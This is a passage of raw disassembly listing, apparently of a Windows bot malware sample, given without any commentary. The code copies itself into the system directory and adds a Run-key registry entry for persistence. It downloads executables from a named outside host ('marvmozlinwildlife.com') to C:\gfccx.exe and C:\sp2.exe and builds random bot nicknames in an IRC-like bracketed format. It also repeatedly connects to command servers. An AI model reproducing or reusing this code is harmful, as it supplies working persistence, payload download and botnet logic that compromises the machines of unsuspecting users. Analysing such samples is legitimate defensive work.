; ---------------------------------------------------------------------------

loc_4045EA:				; CODE XREF: sub_403F55+6A9j
		push	esi
		push	0
		mov	[ebp+ebx*4+var_10F34], eax
		call	sub_40D75E
		inc	ebx

loc_4045FA:				; CODE XREF: sub_403F55+693j
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4045EA
		xor	esi, esi
		test	ebx, ebx
		jle	short loc_404635

loc_404606:				; CODE XREF: sub_403F55+6DEj
		push	[ebp+esi*4+var_10F34]
		lea	eax, [ebp+var_1AC]
		push	eax
		lea	eax, [ebp+var_42C]
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		push	[ebp+var_10730]
		push	[ebp+var_10734]
		call	sub_4046BC
		inc	esi
		cmp	esi, ebx
		jl	short loc_404606

loc_404635:				; CODE XREF: sub_403F55+67Dj
					; sub_403F55+6AFj
		push	23h
		lea	eax, [ebp+var_78]
		push	0
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	edi
		xor	esi, esi
		lea	eax, [ebp+var_1AC]
		push	esi
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	edi
		lea	eax, [ebp+var_42C]
		push	esi
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	edi
		lea	eax, [ebp+var_72C]

loc_404670:				; CODE XREF: sub_403F55+4ABj
		push	esi

loc_404671:				; CODE XREF: sub_403F55+357j
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		xor	ebx, ebx

loc_40467C:				; CODE XREF: sub_403F55+4DBj
		push	9
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	9
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	0Dh
		lea	eax, [ebp+var_54]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		mov	al, 1

loc_4046AB:				; CODE XREF: sub_403F55+23Fj
		mov	ecx, [ebp+var_8]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn	4
sub_403F55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046BC	proc near		; CODE XREF: sub_403F55+6D6p

var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 824h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset asc_4202A4 ; " "
		push	esi
		push	[ebp+arg_14]
		xor	ebx, ebx
		mov	byte ptr [ebp+var_8], 0
		mov	[ebp+var_4], ebx
		call	sub_40D75E
		jmp	short loc_40471B
; ---------------------------------------------------------------------------

loc_4046E1:				; CODE XREF: sub_4046BC+65j
		mov	eax, [ebp+var_4]
		push	offset aS_0	; "-s"
		push	edi
		mov	[ebp+eax*4+var_820], edi
		call	sub_40ACE3
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40470D
		push	offset aS_1	; "/s"
		push	edi
		call	sub_40ACE3
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_404711

loc_40470D:				; CODE XREF: sub_4046BC+3Ej
		mov	byte ptr [ebp+var_8], 1

loc_404711:				; CODE XREF: sub_4046BC+4Fj
		push	esi
		push	ebx
		call	sub_40D75E
		inc	[ebp+var_4]

loc_40471B:				; CODE XREF: sub_4046BC+23j
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		pop	ecx
		jnz	short loc_4046E1
		mov	esi, [ebp+arg_0]
		add	esi, 5
		push	esi
		push	[ebp+var_820]
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40474C
		mov	ecx, [ebp+var_820]
		mov	eax, esi
		call	sub_4029B4
		test	eax, eax
		jz	short loc_404772

loc_40474C:				; CODE XREF: sub_4046BC+7Dj
		xor	eax, eax
		cmp	[ebp+var_4], ebx
		jle	short loc_40476F
		mov	ecx, [ebp+var_4]
		dec	ecx

loc_404757:				; CODE XREF: sub_4046BC+B1j
		cmp	eax, ecx
		jz	short loc_404769
		mov	edx, [ebp+eax*4+var_81C]
		mov	[ebp+eax*4+var_820], edx

loc_404769:				; CODE XREF: sub_4046BC+9Dj
		inc	eax
		cmp	eax, [ebp+var_4]
		jl	short loc_404757

loc_40476F:				; CODE XREF: sub_4046BC+95j
		dec	[ebp+var_4]

loc_404772:				; CODE XREF: sub_4046BC+8Ej
		cmp	byte ptr [ebp+var_8], bl
		jz	short loc_40477A
		dec	[ebp+var_4]

loc_40477A:				; CODE XREF: sub_4046BC+B9j
		mov	eax, [ebp+var_820]
		mov	cl, [eax]
		cmp	cl, byte_425010
		jnz	loc_40483D
		push	eax
		call	sub_40C500
		push	eax
		mov	eax, [ebp+var_820]
		lea	ecx, [eax+1]
		push	ecx
		push	eax
		call	sub_40CC90
		mov	eax, dword_433BB8
		mov	esi, [eax]
		mov	ebx, offset dword_433BB4
		mov	edi, ebx
		add	esp, 10h
		mov	[ebp+var_C], esi
		mov	[ebp+var_10], edi

loc_4047BC:				; CODE XREF: sub_4046BC+153j
		test	edi, edi
		mov	eax, dword_433BB8
		mov	[ebp+var_14], eax
		jz	short loc_4047CC
		cmp	edi, ebx
		jz	short loc_4047D1

loc_4047CC:				; CODE XREF: sub_4046BC+10Aj
		call	sub_40CB2C

loc_4047D1:				; CODE XREF: sub_4046BC+10Ej
		cmp	esi, [ebp+var_14]
		jz	short loc_40483D
		test	edi, edi
		jnz	short loc_4047DF
		call	sub_40CB2C

loc_4047DF:				; CODE XREF: sub_4046BC+11Cj
		cmp	esi, [edi+4]
		jnz	short loc_4047E9
		call	sub_40CB2C

loc_4047E9:				; CODE XREF: sub_4046BC+126j
		push	[ebp+var_820]
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_404811
		lea	edi, [ebp+var_20]
		lea	esi, [ebp+var_10]
		call	sub_402E22
		mov	esi, [ebp+var_C]
		mov	edi, [ebp+var_10]
		jmp	short loc_4047BC
; ---------------------------------------------------------------------------

loc_404811:				; CODE XREF: sub_4046BC+140j
		cmp	esi, [edi+4]
		jnz	short loc_40481B
		call	sub_40CB2C

loc_40481B:				; CODE XREF: sub_4046BC+158j
		mov	ecx, [esi+8]
		mov	eax, [ecx]
		lea	edx, [ebp+var_820]
		push	edx
		mov	edx, [ebp+var_4]
		dec	edx
		push	edx
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+var_8]
		push	[ebp+arg_4]
		call	dword ptr [eax]

loc_40483D:				; CODE XREF: sub_4046BC+CCj
					; sub_4046BC+118j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
sub_4046BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404844	proc near		; CODE XREF: sub_4038C8+39p
					; sub_40393C+2E8p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_3F		= byte ptr -3Fh
var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_40], 0
		lea	edi, [ebp+var_3F]
		stosw
		stosb
		push	0Dh
		pop	ecx
		mov	esi, offset aQwertyuiopasdf ; "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKJ"...
		lea	edi, [ebp+var_3C]
		rep movsd
		lea	eax, [ebp+var_48]
		push	eax
		movsb
		call	ds:off_41E1FC
		call	ds:dword_41E0EC	; GetTickCount
		mov	ecx, [ebp+var_44]
		mov	edx, [ebp+var_48]
		add	ecx, edx
		cmp	eax, ecx
		jb	short loc_404890
		add	ecx, eax
		jmp	short loc_404892
; ---------------------------------------------------------------------------

loc_404890:				; CODE XREF: sub_404844+46j
		sub	ecx, eax

loc_404892:				; CODE XREF: sub_404844+4Aj
		push	ecx
		call	sub_40D0E9
		pop	ecx
		push	23h
		push	0
		push	ebx
		call	sub_40C6F0
		add	esp, 0Ch
		push	offset asc_42046C ; "["
		push	22h
		pop	esi
		push	esi
		push	ebx
		call	sub_40C634
		add	esp, 0Ch
		push	ebx
		call	sub_40C500
		pop	ecx
		push	4
		pop	ecx
		lea	edi, [ebp+var_40]
		mov	byte ptr [eax+ebx], 0
		call	sub_402AAB
		mov	eax, edi
		push	eax
		push	ebx
		mov	edi, offset aSS_1 ; "%s%s|"
		push	edi
		push	esi
		push	ebx
		call	sub_40C634
		add	esp, 14h
		push	ebx
		call	sub_40C500
		pop	ecx
		mov	byte ptr [eax+ebx], 0
		lea	eax, [ebp+var_40]
		push	4
		push	eax
		call	sub_402B8C
		lea	eax, [ebp+var_40]
		push	eax
		push	ebx
		push	edi
		push	esi
		push	ebx
		call	sub_40C634
		add	esp, 1Ch
		push	ebx
		call	sub_40C500
		pop	ecx
		mov	byte ptr [eax+ebx], 0
		call	sub_402C36
		test	al, al
		jz	short loc_404936
		push	ebx
		push	offset aSp	; "%sP|"
		push	esi
		push	ebx
		call	sub_40C634
		push	ebx
		call	sub_40C500
		add	esp, 14h
		mov	byte ptr [eax+ebx], 0

loc_404936:				; CODE XREF: sub_404844+D6j
		call	sub_402BB7
		mov	eax, dword_42661C
		mov	ecx, dword_426618
		xor	edi, edi
		cmp	eax, edi
		jg	short loc_40495D
		jl	short loc_404953
		cmp	ecx, 0Ah
		jnb	short loc_40495D

loc_404953:				; CODE XREF: sub_404844+108j
		push	eax
		push	ecx
		push	ebx
		push	offset aS0I64u	; "%s0%I64u|"
		jmp	short loc_404965
; ---------------------------------------------------------------------------

loc_40495D:				; CODE XREF: sub_404844+106j
					; sub_404844+10Dj
		push	eax
		push	ecx
		push	ebx
		push	offset aSI64u	; "%s%I64u|"

loc_404965:				; CODE XREF: sub_404844+117j
		push	esi
		push	ebx
		call	sub_40C634
		push	ebx
		call	sub_40C500
		mov	byte ptr [eax+ebx], 0
		add	esp, 1Ch
		cmp	dword_42514C, edi
		jle	short loc_4049B7

loc_404981:				; CODE XREF: sub_404844+171j
		call	sub_40D0F6
		push	31h
		pop	ecx
		xor	edx, edx
		div	ecx
		movsx	eax, [ebp+edx+var_3C]
		push	eax
		push	ebx
		push	offset aSC	; "%s%c"
		push	esi
		push	ebx
		call	sub_40C634
		add	esp, 14h
		push	ebx
		call	sub_40C500
		inc	edi
		mov	byte ptr [eax+ebx], 0
		cmp	edi, dword_42514C
		pop	ecx
		jl	short loc_404981

loc_4049B7:				; CODE XREF: sub_404844+13Bj
		push	ebx
		push	offset aS_2	; "%s]"
		push	esi
		push	ebx
		call	sub_40C634
		push	ebx
		call	sub_40C500
		mov	ecx, [ebp+var_4]
		add	esp, 14h
		pop	edi
		mov	byte ptr [eax+ebx], 0
		xor	ecx, ebp
		mov	eax, ebx
		pop	esi
		call	sub_40AB4A
		leave
		retn
sub_404844	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4049E1	proc near		; CODE XREF: .text:0040E144p

var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_718		= byte ptr -718h
var_710		= dword	ptr -710h
var_70C		= dword	ptr -70Ch
var_678		= byte ptr -678h
var_4E8		= byte ptr -4E8h
var_4E0		= byte ptr -4E0h
var_4DF		= byte ptr -4DFh
var_4A8		= byte ptr -4A8h
var_4A7		= byte ptr -4A7h
var_428		= byte ptr -428h
var_427		= byte ptr -427h
var_320		= byte ptr -320h
var_31F		= byte ptr -31Fh
var_218		= byte ptr -218h
var_217		= byte ptr -217h
var_110		= byte ptr -110h
var_10F		= byte ptr -10Fh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 724h
		mov	eax, dword_423068
		xor	eax, esp
		mov	[esp+724h+var_4], eax
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	[esp+730h+var_720], eax
		call	sub_401B44
		test	al, al
		jnz	loc_404E66
		call	sub_401BBC
		test	al, al
		jnz	loc_404E66
		call	sub_401C17
		test	al, al
		jnz	loc_404E66
		mov	esi, offset aFu	; "--fu	"
		lea	edi, [esp+730h+var_4E8]
		movsd
		movsw
		mov	edi, 103h
		xor	ebx, ebx
		push	edi
		lea	eax, [esp+734h+var_10F]
		push	ebx
		push	eax
		mov	[esp+73Ch+var_110], bl
		call	sub_40C6F0
		add	esp, 0Ch
		push	edi
		lea	eax, [esp+734h+var_31F]
		push	ebx
		push	eax
		mov	[esp+73Ch+var_320], bl
		call	sub_40C6F0
		add	esp, 0Ch
		push	edi
		lea	eax, [esp+734h+var_427]
		push	ebx
		push	eax
		mov	[esp+73Ch+var_428], bl
		call	sub_40C6F0
		add	esp, 0Ch
		push	7Fh
		lea	eax, [esp+734h+var_4A7]
		push	ebx
		push	eax
		mov	[esp+73Ch+var_4A8], bl
		call	sub_40C6F0
		add	esp, 0Ch
		push	edi
		lea	eax, [esp+734h+var_110]
		push	eax
		call	ds:dword_41E050	; GetSystemDirectoryA
		push	80h
		lea	esi, [esp+734h+var_4A8]
		mov	ebx, offset byte_425089
		call	sub_401ACE
		pop	ecx
		mov	eax, esi
		push	eax
		lea	eax, [esp+734h+var_110]
		push	eax
		push	offset aSS_2	; "%s\\%s"
		lea	eax, [esp+73Ch+var_428]
		push	edi
		push	eax
		call	sub_40C634
		lea	eax, [esp+744h+var_428]
		add	esp, 14h
		push	eax
		call	sub_40C500
		pop	ecx
		xor	ebx, ebx
		mov	[esp+eax+730h+var_428],	bl
		mov	esi, 104h
		push	esi
		lea	eax, [esp+734h+var_320]
		push	eax
		push	ebx
		call	ds:dword_41E0CC	; GetModuleHandleA
		push	eax
		call	ds:dword_41E0B4	; GetModuleFileNameA
		lea	eax, [esp+730h+var_4E8]
		push	eax
		call	sub_40C500
		pop	ecx
		push	eax
		lea	eax, [esp+734h+var_4E8]
		push	eax
		push	[esp+738h+var_720]
		call	sub_40AE23
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_404BAE
		push	esi
		lea	eax, [esp+734h+var_428]
		push	eax
		lea	eax, [esp+738h+var_320]
		push	eax
		call	sub_40AE23
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_404BAE
		push	ebx
		lea	eax, [esp+734h+var_428]
		push	eax
		lea	eax, [esp+738h+var_320]
		push	eax
		call	ds:dword_41E070	; CopyFileA
		test	eax, eax
		jz	loc_404E66
		lea	eax, [esp+730h+var_320]
		push	eax
		lea	eax, [esp+734h+var_4E8]
		push	eax
		lea	eax, [esp+738h+var_428]
		push	eax
		push	offset aSSS_0	; "%s %s%s"
		call	sub_402632
		add	esp, 10h
		jmp	loc_404E66
; ---------------------------------------------------------------------------

loc_404BAE:				; CODE XREF: sub_4049E1+165j
					; sub_4049E1+182j
		lea	eax, [esp+730h+var_4E8]
		push	eax
		call	sub_40C500
		pop	ecx
		push	eax
		lea	eax, [esp+734h+var_4E8]
		push	eax
		push	[esp+738h+var_720]
		call	sub_40AE23
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_404C6F
		push	esi
		lea	eax, [esp+734h+var_428]
		push	eax
		lea	eax, [esp+738h+var_320]
		push	eax
		call	sub_40AE23
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404C6F
		push	edi
		lea	eax, [esp+734h+var_217]
		push	ebx
		push	eax
		mov	[esp+73Ch+var_218], bl
		call	sub_40C6F0
		lea	eax, [esp+73Ch+var_4E8]
		add	esp, 0Ch
		push	eax
		call	sub_40C500
		add	eax, [esp+734h+var_720]
		pop	ecx
		push	eax
		push	offset aS	; "%s"
		lea	eax, [esp+738h+var_218]
		push	esi
		push	eax
		call	sub_40C634
		add	esp, 10h
		xor	edi, edi

loc_404C3A:				; CODE XREF: sub_4049E1+27Aj
		lea	eax, [esp+730h+var_218]
		push	eax
		call	ds:off_41E0B8
		test	eax, eax
		jnz	short loc_404C5D
		push	0C8h
		call	ds:off_41E0E0
		inc	edi
		cmp	edi, 3
		jb	short loc_404C3A

loc_404C5D:				; CODE XREF: sub_4049E1+269j
		push	esi
		lea	eax, [esp+734h+var_218]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch

loc_404C6F:				; CODE XREF: sub_4049E1+1F2j
					; sub_4049E1+213j
		push	80h
		lea	eax, [esp+734h+var_4A8]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	37h
		lea	eax, [esp+734h+var_4DF]
		push	ebx
		push	eax
		mov	[esp+73Ch+var_4E0], bl
		call	sub_40C6F0
		add	esp, 0Ch
		push	38h
		lea	esi, [esp+734h+var_4E0]
		mov	ebx, offset asc_4250A9 ; "ÞÆÑÛÁÛ"
		call	sub_401ACE
		pop	ecx
		mov	eax, esi
		push	eax
		push	1
		xor	ebx, ebx
		push	ebx
		call	ds:off_41E074
		push	38h
		mov	esi, eax
		lea	eax, [esp+734h+var_4E0]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	1388h
		push	esi
		call	ds:off_41E06C
		cmp	eax, 102h
		jnz	short loc_404CF0
		push	ebx
		call	ds:off_41E0B0

loc_404CF0:				; CODE XREF: sub_4049E1+306j
		call	sub_404E7F
		push	8
		call	loc_40CC1A
		cmp	eax, ebx
		pop	ecx
		jz	short loc_404D14
		push	offset sub_404FE1
		xor	ecx, ecx
		mov	edi, offset aRm	; "RM"
		mov	esi, eax
		call	sub_408395

loc_404D14:				; CODE XREF: sub_4049E1+31Ej
		lea	eax, [esp+730h+var_710]
		push	eax
		mov	[esp+734h+var_710], 94h
		call	ds:dword_41E058	; GetVersionExA
		cmp	[esp+730h+var_70C], 4
		mov	edi, offset byte_4202A1
		jz	short loc_404D4D
		push	8
		call	loc_40CC1A
		cmp	eax, ebx
		pop	ecx
		jz	short loc_404D4D
		push	offset sub_401000
		xor	ecx, ecx
		mov	esi, eax
		call	sub_408395

loc_404D4D:				; CODE XREF: sub_4049E1+350j
					; sub_4049E1+35Cj
		push	8
		mov	byte_426A40, bl
		call	loc_40CC1A
		cmp	eax, ebx
		pop	ecx
		jz	short loc_404D6D
		push	offset sub_40386C
		xor	ecx, ecx
		mov	esi, eax
		call	sub_408395

loc_404D6D:				; CODE XREF: sub_4049E1+37Cj
		lea	eax, [esp+730h+var_678]
		push	eax
		push	202h
		call	ds:dword_41E25C	; WSAStartup
		test	eax, eax
		jnz	loc_404E60
		mov	edx, offset aCGfccx_exe	; "C:\\gfccx.exe"
		mov	ecx, offset aHttpMarvmozlin ; "http://marvmozlinwildlife.com/gfxdrvr.e"...
		call	sub_4085E6
		mov	edx, offset aCSp2_exe ;	"C:\\sp2.exe"
		mov	ecx, offset aHttpMarvmozl_0 ; "http://marvmozlinwildlife.com/sp2.exe"
		call	sub_4085E6
		call	sub_402D40
		mov	byte_4338BD, bl
		call	sub_407F60
		mov	eax, [ebp+arg_0]
		mov	byte_426934, bl
		mov	dword_426724, eax
		call	sub_402FC8
		mov	eax, dword_433BB8
		mov	eax, [eax]
		mov	ebx, offset dword_433BB4
		mov	[esp+730h+var_71C], eax
		mov	[esp+730h+var_720], ebx

loc_404DDD:				; CODE XREF: sub_4049E1+427j
		cmp	[esp+730h+var_720], 0
		mov	esi, dword_433BB8
		jz	short loc_404DF0
		cmp	[esp+730h+var_720], ebx
		jz	short loc_404DF5

loc_404DF0:				; CODE XREF: sub_4049E1+407j
		call	sub_40CB2C

loc_404DF5:				; CODE XREF: sub_4049E1+40Dj
		cmp	[esp+730h+var_71C], esi
		jz	short loc_404E0A
		lea	edi, [esp+730h+var_718]
		lea	esi, [esp+730h+var_720]
		call	sub_402E22
		jmp	short loc_404DDD
; ---------------------------------------------------------------------------

loc_404E0A:				; CODE XREF: sub_4049E1+418j
		mov	edi, offset dword_426A3C

loc_404E0F:				; CODE XREF: sub_4049E1+47Dj
		push	2
		mov	esi, offset dword_424C58
		pop	ebx

loc_404E17:				; CODE XREF: sub_4049E1+47Bj
		movsx	eax, word ptr [esi+100h]
		push	eax
		push	esi
		lea	edx, [esi-100h]
		mov	ecx, edi
		call	sub_40393C
		test	al, al
		jz	short loc_404E43
		mov	byte_426A40, 1

loc_404E38:				; CODE XREF: sub_4049E1+460j
		mov	ecx, edi
		call	sub_403C7D
		test	al, al
		jnz	short loc_404E38

loc_404E43:				; CODE XREF: sub_4049E1+44Ej
		push	3A98h
		mov	byte_426A40, 0
		call	ds:off_41E0E0
		add	esi, 202h
		dec	ebx
		jnz	short loc_404E17
		jmp	short loc_404E0F
; ---------------------------------------------------------------------------

loc_404E60:				; CODE XREF: sub_4049E1+3A1j
		call	ds:dword_41E290	; WSACleanup

loc_404E66:				; CODE XREF: sub_4049E1+2Bj
					; sub_4049E1+38j ...
		mov	ecx, [esp+730h+var_4]
		pop	edi
		pop	esi
		pop	ebx
		xor	ecx, esp
		xor	eax, eax
		call	sub_40AB4A
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_4049E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=90h


sub_404E7F	proc near		; CODE XREF: sub_4049E1:loc_404CF0p

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-90h]
		sub	esp, 110h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+90h+var_4], eax
		push	ebx
		push	esi
		push	edi
		mov	esi, 100h
		push	esi
		call	sub_40AA82
		mov	ebx, eax
		push	esi
		mov	[ebp+90h+var_110], ebx
		call	sub_40AA82
		push	esi
		mov	[ebp+90h+var_108], eax
		call	sub_40AA82
		push	esi
		mov	[ebp+90h+var_10C], eax
		call	sub_40AA82
		push	[ebp+90h+var_10C]
		mov	edi, eax
		call	sub_40C58B
		push	eax
		push	0
		push	[ebp+90h+var_10C]
		call	sub_40C6F0
		push	edi
		call	sub_40C58B
		push	eax
		push	0
		push	edi
		call	sub_40C6F0
		push	esi
		xor	esi, esi
		lea	eax, [ebp+90h+var_104]
		push	esi
		push	eax
		call	sub_40C6F0
		push	ebx
		call	sub_40C58B
		add	esp, 40h
		push	eax
		push	esi
		push	ebx
		call	sub_40C6F0
		push	[ebp+90h+var_108]
		call	sub_40C58B
		push	eax
		push	esi
		push	[ebp+90h+var_108]
		call	sub_40C6F0
		push	ebx
		call	sub_40C58B
		mov	esi, ebx
		push	eax
		mov	ebx, offset asc_4250C9 ; "ÞÆÑÛÁÛ"
		call	sub_401ACE
		mov	esi, [ebp+90h+var_108]
		push	esi
		call	sub_40C58B
		push	eax
		mov	ebx, offset byte_425089
		call	sub_401ACE
		mov	esi, [ebp+90h+var_10C]
		push	esi
		call	sub_40C58B
		add	esp, 30h
		dec	eax
		push	eax
		push	esi
		call	ds:dword_41E050	; GetSystemDirectoryA
		push	[ebp+90h+var_108]
		push	esi
		push	offset aSS_2	; "%s\\%s"
		push	edi
		call	sub_40C58B
		pop	ecx
		dec	eax
		push	eax
		push	edi
		call	sub_40C634
		push	edi
		call	sub_40C500
		mov	byte ptr [eax+edi], 0
		lea	eax, [ebp+90h+var_104]
		push	eax
		push	[ebp+90h+var_110]
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		call	sub_4051BC
		add	esp, 24h
		test	al, al
		jz	short loc_404F9F
		lea	eax, [ebp+90h+var_104]
		push	eax
		push	edi
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_404FAA

loc_404F9F:				; CODE XREF: sub_404E7F+10Ej
		push	edi
		push	[ebp+90h+var_110]
		call	sub_405231
		pop	ecx
		pop	ecx

loc_404FAA:				; CODE XREF: sub_404E7F+11Ej
		push	[ebp+90h+var_110]
		call	sub_40C76A
		push	[ebp+90h+var_108]
		call	sub_40C76A
		push	esi
		call	sub_40C76A
		push	edi
		call	sub_40C76A
		mov	ecx, [ebp+90h+var_4]
		add	esp, 10h
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		add	ebp, 90h
		leave
		retn
sub_404E7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_404FE1	proc near		; DATA XREF: sub_4049E1+320o

var_504		= byte ptr -504h
var_404		= byte ptr -404h
var_403		= byte ptr -403h
var_304		= byte ptr -304h
var_303		= byte ptr -303h
var_204		= byte ptr -204h
var_203		= byte ptr -203h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		push	edi
		mov	esi, 0FFh
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_203]
		push	ebx
		push	eax
		mov	[ebp+var_204], bl
		call	sub_40C6F0
		push	esi
		lea	eax, [ebp+var_403]
		push	ebx
		push	eax
		mov	[ebp+var_404], bl
		call	sub_40C6F0
		push	esi
		lea	eax, [ebp+var_303]
		push	ebx
		push	eax
		mov	[ebp+var_304], bl
		call	sub_40C6F0
		push	esi
		lea	eax, [ebp+var_103]
		push	ebx
		push	eax
		mov	[ebp+var_104], bl
		call	sub_40C6F0
		add	esp, 30h
		mov	edi, 100h

loc_405056:				; CODE XREF: sub_404FE1+182j
		push	edi
		lea	esi, [ebp+var_204]
		mov	ebx, offset asc_4250C9 ; "ÞÆÑÛÁÛ"
		call	sub_401ACE
		push	edi
		lea	esi, [ebp+var_404]
		mov	ebx, offset byte_425089
		call	sub_401ACE
		pop	ecx
		pop	ecx
		mov	esi, 0FFh
		push	esi
		lea	eax, [ebp+var_304]
		push	eax
		call	ds:dword_41E050	; GetSystemDirectoryA
		lea	eax, [ebp+var_404]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		push	offset aSS_2	; "%s\\%s"
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		call	sub_40C634
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C500
		xor	ebx, ebx
		mov	[ebp+eax+var_104], bl
		lea	eax, [ebp+var_504]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		call	sub_4051BC
		add	esp, 24h
		test	al, al
		jz	short loc_4050FA
		lea	eax, [ebp+var_504]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40510F

loc_4050FA:				; CODE XREF: sub_404FE1+FEj
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_405231
		pop	ecx
		pop	ecx

loc_40510F:				; CODE XREF: sub_404FE1+117j
		push	edi
		lea	eax, [ebp+var_304]
		push	ebx
		push	eax
		call	sub_40C6F0
		push	edi
		lea	eax, [ebp+var_104]
		push	ebx
		push	eax
		call	sub_40C6F0
		push	edi
		lea	eax, [ebp+var_504]
		push	ebx
		push	eax
		call	sub_40C6F0
		push	edi
		lea	eax, [ebp+var_204]
		push	ebx
		push	eax
		call	sub_40C6F0
		push	edi
		lea	eax, [ebp+var_404]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 3Ch
		push	3A98h
		call	ds:off_41E0E0
		jmp	loc_405056
sub_404FE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405168	proc near		; CODE XREF: sub_40140A+FFp
					; sub_402833+146p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		xor	ebx, ebx
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	0F003Fh
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:off_41E000
		test	eax, eax
		jz	short loc_40519B
		push	[ebp+var_4]
		call	ds:off_41E00C
		xor	al, al

loc_405198:				; CODE XREF: sub_405168+4Ej
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40519B:				; CODE XREF: sub_405168+23j
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	ds:off_41E044
		test	eax, eax
		jz	short loc_4051B8

loc_4051AB:				; CODE XREF: sub_405168+52j
		push	[ebp+var_4]
		call	ds:off_41E00C
		mov	al, bl
		jmp	short loc_405198
; ---------------------------------------------------------------------------

loc_4051B8:				; CODE XREF: sub_405168+41j
		mov	bl, 1
		jmp	short loc_4051AB
sub_405168	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4051BC	proc near		; CODE XREF: sub_40158F+116p
					; sub_404E7F+104p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		push	0
		push	[ebp+arg_0]
		mov	[ebp+var_8], 100h
